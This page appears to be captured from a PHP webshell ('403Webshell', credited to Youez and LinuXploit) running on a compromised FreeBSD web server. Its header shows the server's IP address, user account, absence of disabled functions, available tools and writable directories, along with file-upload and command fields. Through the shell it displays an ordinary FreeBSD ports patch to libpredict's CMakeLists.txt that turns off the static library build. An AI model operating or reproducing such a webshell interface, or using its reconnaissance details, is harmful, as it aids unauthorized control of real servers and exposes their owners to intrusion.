403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/misc/libpredict/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/misc/libpredict/files/patch-src_CMakeLists.txt
--- src/CMakeLists.txt.orig	2017-12-09 13:54:50 UTC
+++ src/CMakeLists.txt
@@ -1,21 +1,21 @@
 add_library(predict SHARED orbit.c sun.c observer.c sdp4.c sgp4.c refraction.c unsorted.c julian_date.c version.c moon.c)
 
-add_library(predict_static STATIC orbit.c sun.c observer.c sdp4.c sgp4.c refraction.c unsorted.c julian_date.c moon.c)
+#add_library(predict_static STATIC orbit.c sun.c observer.c sdp4.c sgp4.c refraction.c unsorted.c julian_date.c moon.c)
 
-set_target_properties(predict_static PROPERTIES OUTPUT_NAME predict)
+#set_target_properties(predict_static PROPERTIES OUTPUT_NAME predict)
 
 # The VERSION is the version number in the file name:
 # libpredict.so.<VERSION>. This should be the full major.minor.patch
 # version number.
 set_target_properties(predict PROPERTIES VERSION ${PROJECT_VERSION})
-set_target_properties(predict_static PROPERTIES VERSION ${PROJECT_VERSION})
+#set_target_properties(predict_static PROPERTIES VERSION ${PROJECT_VERSION})
 
 # The SOVERSION is the version number in the soname:
 # libpredict.so.<SOVERSION>. This should be only the major version
 # number, in order for applications to get a runtime dependency on an
 # ABI version compatible with the library at build time.
 set_target_properties(predict PROPERTIES SOVERSION ${PROJECT_VERSION_MAJOR})
-set_target_properties(predict_static PROPERTIES SOVERSION ${PROJECT_VERSION_MAJOR})
+#set_target_properties(predict_static PROPERTIES SOVERSION ${PROJECT_VERSION_MAJOR})
 
 # Header files needed to compile an application using libpredict
 set(predict_public_header)
@@ -24,17 +24,17 @@ list(APPEND predict_public_header
 )
 set_target_properties(predict PROPERTIES PUBLIC_HEADER "${predict_public_header}")
 # Maybe needed on Mac OS?
-#set_target_properties(predict PROPERTIES FRAMEWORK TRUE)
+set_target_properties(predict PROPERTIES FRAMEWORK TRUE)
 
 target_link_libraries(predict m)
-target_link_libraries(predict_static m)
+#target_link_libraries(predict_static m)
 
 # Tell the linker to use the symbol version script
 get_property(predict_link_flags TARGET predict PROPERTY LINK_FLAGS)
 set(predict_link_flags "${predict_link_flags} -Wl,--version-script=${CMAKE_CURRENT_SOURCE_DIR}/libpredict.symver")
 set_target_properties(predict PROPERTIES LINK_FLAGS ${predict_link_flags})
 
-install(TARGETS predict predict_static
+install(TARGETS predict
   LIBRARY DESTINATION ${CMAKE_INSTALL_LIBDIR}
   ARCHIVE DESTINATION ${CMAKE_INSTALL_LIBDIR}
   PUBLIC_HEADER DESTINATION ${CMAKE_INSTALL_INCLUDEDIR}/predict

Youez - 2016 - github.com/yon3zu
LinuXploit